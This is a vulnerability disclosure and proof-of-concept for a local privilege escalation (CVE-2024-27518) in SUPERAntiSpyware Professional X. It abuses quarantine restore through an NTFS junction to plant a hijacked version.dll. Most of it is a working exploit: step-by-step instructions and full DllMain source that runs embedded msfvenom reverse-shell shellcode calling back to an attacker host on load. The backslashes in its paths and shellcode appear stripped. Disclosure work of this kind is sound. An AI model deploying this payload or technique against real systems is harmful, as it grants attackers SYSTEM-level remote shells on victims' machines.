Authored by M. Akil Gundogan

SUPERAntiSpyware Professional X versions 10.0.1264 and below suffer from a privilege escalation vulnerability via dll hijacking.

advisories | CVE-2024-27518

# Title: SUPERAntiSpyware Professional X Version <=10.0.1264 "version.dll" Local Privilege Escalation 
# Date: 03.04.2024
# Author: M. Akil Gündoğan
# Vendor Homepage: https://superantispyware.com/
# Version: 10.0.1262 and lastest version 10.0.1264
# Tested on: Windows 10 Professional x64
# PoC Video: https://youtu.be/FM5XlZPdvdo
# CVE ID: CVE-2024-27518

# Vulnerability Description:
--------------------------------------
SUPERAntiSpyware Professional X 10.0.1262 and 10.0.1264 is vulnerable to local privilege escalation because it allows unprivileged users to restore a malicious DLL from quarantine into the "C:Program FilesSUPERAntiSpyware" folder via an NTFS directory junction, as demonstrated by a crafted version.dll file that is detected as malware. Since SASCore64.exe has a DLL Hijacking vulnerability for "version.dll", a shell is obtained as NT AUTHORITYSYSTEM after system reboot.

Technical details and step by step Proof of Concept's (PoC):

1 - ​A malicious version.dll file containing shellcode is created.

2 - If the generated shellcode containing "version.dll" is not already detected by SUPERAntiSpyware, it is combined with another malicious file in ".zip" with the command "copy /b version_created.dll + malicious.zip version.dll" to be detected as malicious. In this way, the created ".dll" file can be detected as malicious by SUPERAntiSpyware and quarantined.

3 - Create a new folder and copy the prepared "version.dll" into it. Then the folder is scanned and SUPERAntiSpyware quarantines the DLL.

4 - Using "CreateMountPoint.exe" among the "Symbolic Link Testing" tools provided by Google, the path where "version.dll" is quarantined is mounted in the "C:Program FilesSUPERAntiSpyware" directory. These tools are available at the following link (https://github.com/googleprojectzero/symboliclink-testing-tools) or you can use the mklink command to do the same thing.

5 - When the quarantined "version.dll" is restored, it will be copied to SUPERAntiSpyware's directory. After the system reboots, SASCore64.exe will execute the shellcode in "version.dll" and open a session with NT AUTHORITYSYSTEM privileges for the attacker.

# Mitigations:
--------------------------------------
We recommend uninstalling SUPERAntiSpyware until the vulnerability is fixed.

# Timeline:
--------------------------------------
- 18.02.2024 - Vulnerability reported via email but vendor refused to fix it.
- 03.04.2024 - Full disclosure.

# References
--------------------------------------
- Vendor: https://www.superantispyware.com/
- CVE: https://www.cve.org/CVERecord?id=CVE-2024-27518
- Repository: https://github.com/secunnix/CVE-2024-27518/

# DLLMain:
-------------------------------------------------------------------------------------------------------------------------

/* SUPERAntiSpyware LPE "version.dll" DLLMain.cpp
M. Akil GUNDOGAN (0xr3act0r) - Secunnix Vulnerability Research Team
Special Thanks: Safa Karakus and Samet Gozet

If the generated shellcode containing "version.dll" is not already detected by SUPERAntiSpyware,
it is combined with another malicious file in ".zip" with the command "copy /b version_created.dll + malicious.zip version.dll"
to be detected as malicious. In this way, the created ".dll" file can be detected as malicious by SUPERAntiSpyware and quarantined.

Compile as release x64 DLL.
*/

#include "windows.h"
#include "ios"
#include "fstream"
#include <iostream>

#pragma once
#pragma comment(linker,"/export:GetFileVersionInfoA=c:windowssystem32version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=c:windowssystem32version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=c:windowssystem32version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=c:windowssystem32version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=c:windowssystem32version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=c:windowssystem32version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=c:windowssystem32version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=c:windowssystem32version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=c:windowssystem32version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=c:windowssystem32version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=c:windowssystem32version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=c:windowssystem32version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=c:windowssystem32version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=c:windowssystem32version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=c:windowssystem32version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=c:windowssystem32version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=c:windowssystem32version.VerQueryValueW,@17")

// Shellcode: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=4444 -f c
unsigned char shellcode[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00"
"x00x49x89xe5x49xbcx02x00x11x5cxc0xa8x01x6d"
"x41x54x49x89xe4x4cx89xf1x41xbax4cx77x26x07"
"xffxd5x4cx89xeax68x01x01x00x00x59x41xbax29"
"x80x6bx00xffxd5x50x50x4dx31xc9x4dx31xc0x48"
"xffxc0x48x89xc2x48xffxc0x48x89xc1x41xbaxea"
"x0fxdfxe0xffxd5x48x89xc7x6ax10x41x58x4cx89"
"xe2x48x89xf9x41xbax99xa5x74x61xffxd5x48x81"
"xc4x40x02x00x00x49xb8x63x6dx64x00x00x00x00"
"x00x41x50x41x50x48x89xe2x57x57x57x4dx31xc0"
"x6ax0dx59x41x50xe2xfcx66xc7x44x24x54x01x01"
"x48x8dx44x24x18xc6x00x68x48x89xe6x56x50x41"
"x50x41x50x41x50x49xffxc0x41x50x49xffxc8x4d"
"x89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5x48"
"x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5"
"x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
"x47x13x72x6fx6ax00x59x41x89xdaxffxd5";


VOID shellcodeExecute() {
ShowWindow(GetConsoleWindow(), SW_HIDE);

HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

void* mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(shellcode));

std::memcpy(mem_map, shellcode, sizeof(shellcode));

std::cout << ((int(*)())mem_map)() << std::endl;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
shellcodeExecute();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}